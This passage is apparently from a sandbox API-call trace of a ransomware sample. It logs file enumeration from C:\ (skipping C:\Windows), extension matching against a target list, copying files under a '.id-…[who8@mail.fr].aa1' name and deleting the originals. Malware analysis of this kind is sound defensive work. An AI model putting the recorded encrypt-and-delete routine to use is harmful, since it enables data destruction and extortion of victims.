hFile=0x1dc, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0225.836] SetEndOfFile (hFile=0x1dc) returned 1 [0225.836] CloseHandle (hObject=0x1dc) returned 1 [0225.836] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.836] SetEndOfFile (hFile=0x1b0) returned 1 [0225.837] CloseHandle (hObject=0x1b0) returned 1 [0225.837] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.837] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\eqnedt32.exe.manifest")) returned 1 [0225.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.838] lstrlenW (lpString=".doc") returned 4 [0225.838] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0225.838] lstrlenW (lpString=".docx") returned 5 [0225.838] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0225.838] lstrlenW (lpString=".pdf") returned 4 [0225.838] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0225.838] lstrlenW (lpString=".xls") returned 4 [0225.838] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0225.838] lstrlenW (lpString=".xlsx") returned 5 [0225.838] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0225.838] lstrlenW (lpString=".ppt") returned 4 [0225.838] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0225.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.838] lstrlenW (lpString=".zip") returned 4 [0225.838] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0225.838] lstrlenW (lpString=".rar") returned 4 [0225.838] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0225.838] lstrlenW (lpString=".bz2") returned 4 [0225.838] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0225.838] lstrlenW (lpString=".7z") returned 3 [0225.838] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0225.838] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.839] lstrlenW (lpString=".dbf") returned 4 [0225.839] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0225.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.839] lstrlenW (lpString=".1cd") returned 4 [0225.839] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0225.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.839] lstrlenW (lpString=".jpg") returned 4 [0225.839] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0225.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.839] lstrlenW (lpString=".doc") returned 4 [0225.839] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0225.839] lstrlenW (lpString=".docx") returned 5 [0225.839] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0225.839] lstrlenW (lpString=".pdf") returned 4 [0225.839] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0225.839] lstrlenW (lpString=".xls") returned 4 [0225.839] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0225.839] lstrlenW (lpString=".xlsx") returned 5 [0225.839] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0225.839] lstrlenW (lpString=".ppt") returned 4 [0225.839] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0225.839] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.839] lstrlenW (lpString=".zip") returned 4 [0225.839] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0225.839] lstrlenW (lpString=".rar") returned 4 [0225.839] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0225.840] lstrlenW (lpString=".bz2") returned 4 [0225.840] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0225.840] lstrlenW (lpString=".7z") returned 3 [0225.840] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0225.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.840] lstrlenW (lpString=".dbf") returned 4 [0225.840] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0225.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.840] lstrlenW (lpString=".1cd") returned 4 [0225.840] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0225.840] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\eqnedt32.exe.manifest") returned 77 [0225.840] lstrlenW (lpString=".jpg") returned 4 [0225.840] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0225.840] lstrcmpiW (lpString1=".dll", lpString2=".aa1") returned 1 [0225.840] lstrlenW (lpString="msgfilt.dll") returned 11 [0225.840] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.841] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=38768) returned 1 [0225.841] CloseHandle (hObject=0x1b0) returned 1 [0225.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0225.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0225.842] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.842] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.842] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0226.325] GetLastError () returned 0x0 [0226.325] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x9770, lpOverlapped=0x0) returned 1 [0226.331] WriteFile (in: hFile=0x220, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0226.332] ReadFile (in: hFile=0x1b0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0226.332] WriteFile (in: hFile=0x220, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xea, lpOverlapped=0x0) returned 1 [0226.332] SetEndOfFile (hFile=0x220) returned 1 [0226.332] CloseHandle (hObject=0x220) returned 1 [0226.332] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.332] SetEndOfFile (hFile=0x1b0) returned 1 [0226.333] CloseHandle (hObject=0x1b0) returned 1 [0226.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0226.334] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0226.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.334] lstrlenW (lpString=".doc") returned 4 [0226.334] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0226.334] lstrlenW (lpString=".docx") returned 5 [0226.334] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0226.334] lstrlenW (lpString=".pdf") returned 4 [0226.334] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0226.334] lstrlenW (lpString=".xls") returned 4 [0226.334] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0226.334] lstrlenW (lpString=".xlsx") returned 5 [0226.334] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0226.334] lstrlenW (lpString=".ppt") returned 4 [0226.335] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0226.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.335] lstrlenW (lpString=".zip") returned 4 [0226.335] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0226.335] lstrlenW (lpString=".rar") returned 4 [0226.335] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0226.335] lstrlenW (lpString=".bz2") returned 4 [0226.335] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0226.335] lstrlenW (lpString=".7z") returned 3 [0226.335] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0226.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.335] lstrlenW (lpString=".dbf") returned 4 [0226.335] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0226.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.335] lstrlenW (lpString=".1cd") returned 4 [0226.335] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0226.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.335] lstrlenW (lpString=".jpg") returned 4 [0226.335] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0226.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.335] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.335] lstrlenW (lpString=".doc") returned 4 [0226.336] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0226.336] lstrlenW (lpString=".docx") returned 5 [0226.336] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0226.336] lstrlenW (lpString=".pdf") returned 4 [0226.336] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0226.336] lstrlenW (lpString=".xls") returned 4 [0226.336] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0226.336] lstrlenW (lpString=".xlsx") returned 5 [0226.336] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0226.336] lstrlenW (lpString=".ppt") returned 4 [0226.336] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0226.336] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.336] lstrlenW (lpString=".zip") returned 4 [0226.336] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0226.336] lstrlenW (lpString=".rar") returned 4 [0226.336] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0226.336] lstrlenW (lpString=".bz2") returned 4 [0226.336] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0226.336] lstrlenW (lpString=".7z") returned 3 [0226.336] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0226.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.337] lstrlenW (lpString=".dbf") returned 4 [0226.337] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0226.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.337] lstrlenW (lpString=".1cd") returned 4 [0226.337] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0226.337] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0226.337] lstrlenW (lpString=".jpg") returned 4 [0226.337] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0226.337] lstrcmpiW (lpString1=".CFG", lpString2=".aa1") returned 1 [0226.337] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0226.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0226.338] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=6811) returned 1 [0226.338] CloseHandle (hObject=0x1b0) returned 1 [0226.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0226.338] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0226.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0226.338] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.338] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.338] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0226.338] GetLastError () returned 0x0 [0226.338] ReadFile (hFile=0x1b0, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0) Thread: id = 17 os_tid = 0xbb4 [0195.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38e06c0 [0195.035] lstrlenW (lpString="C:") returned 2 [0195.035] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x33dfd00 | out: lpFindFileData=0x33dfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x53bff8 [0195.035] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0195.035] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0195.035] lstrlenW (lpString="$Recycle.Bin") returned 12 [0195.035] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0195.035] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38f06c8 [0195.036] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0195.036] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541030 [0195.036] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.036] FindNextFileW (in: hFindFile=0x541030, lpFindFileData=0x33dfa84 | out: lpFindFileData=0x33dfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0195.036] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0195.036] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0195.036] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0195.036] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0195.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0195.037] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0195.037] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x541070 [0195.038] FindNextFileW (in: hFindFile=0x541070, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0195.038] FindNextFileW (in: hFindFile=0x541070, lpFindFileData=0x33df808 | out: lpFindFileData=0x33df808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0195.038] lstrlenW (lpString="desktop.ini") returned 11 [0195.038] lstrlenW (lpString=".1cd") returned 4 [0195.038] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0195.038] lstrlenW (lpString=".3ds") returned 4 [0195.038] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0195.038] lstrlenW (lpString=".3fr") returned 4 [0195.038] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0195.038] lstrlenW (lpString=".3g2") returned 4 [0195.038] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0195.038] lstrlenW (lpString=".3gp") returned 4 [0195.038] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0195.038] lstrlenW (lpString=".7z") returned 3 [0195.038] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0195.038] lstrlenW (lpString=".accda") returned 6 [0195.038] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0195.038] lstrlenW (lpString=".accdb") returned 6 [0195.038] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0195.038] lstrlenW (lpString=".accdc") returned 6 [0195.038] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0195.038] lstrlenW (lpString=".accde") returned 6 [0195.038] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0195.038] lstrlenW (lpString=".accdt") returned 6 [0195.038] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0195.039] lstrlenW (lpString=".accdw") returned 6 [0195.039] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0195.039] lstrlenW (lpString=".adb") returned 4 [0195.039] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".adp") returned 4 [0195.039] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".ai") returned 3 [0195.039] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0195.039] lstrlenW (lpString=".ai3") returned 4 [0195.039] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".ai4") returned 4 [0195.039] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".ai5") returned 4 [0195.039] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".ai6") returned 4 [0195.039] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".ai7") returned 4 [0195.039] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".ai8") returned 4 [0195.039] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".anim") returned 5 [0195.039] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0195.039] lstrlenW (lpString=".arw") returned 4 [0195.039] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".as") returned 3 [0195.039] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0195.039] lstrlenW (lpString=".asa") returned 4 [0195.039] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".asc") returned 4 [0195.039] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0195.039] lstrlenW (lpString=".ascx") returned 5 [0195.039] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0195.040] lstrlenW (lpString=".asm") returned 4 [0195.040] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0195.040] lstrlenW (lpString=".asmx") returned 5 [0195.040] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0195.040] lstrlenW (lpString=".asp") returned 4 [0195.040] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0195.040] lstrlenW (lpString=".aspx") returned 5 [0195.040] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0195.040] lstrlenW (lpString=".asr") returned 4 [0195.040] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0195.040] lstrlenW (lpString=".asx") returned 4 [0195.040] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0195.040] lstrlenW (lpString=".avi") returned 4 [0195.040] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0195.040] lstrlenW (lpString=".avs") returned 4 [0195.040] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0195.040] lstrlenW (lpString=".backup") returned 7 [0195.040] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0195.040] lstrlenW (lpString=".bak") returned 4 [0195.040] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0195.040] lstrlenW (lpString=".bay") returned 4 [0195.040] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0195.040] lstrlenW (lpString=".bd") returned 3 [0195.040] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0195.040] lstrlenW (lpString=".bin") returned 4 [0195.040] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0195.040] lstrlenW (lpString=".bmp") returned 4 [0195.040] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0195.040] lstrlenW (lpString=".bz2") returned 4 [0195.040] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0195.041] 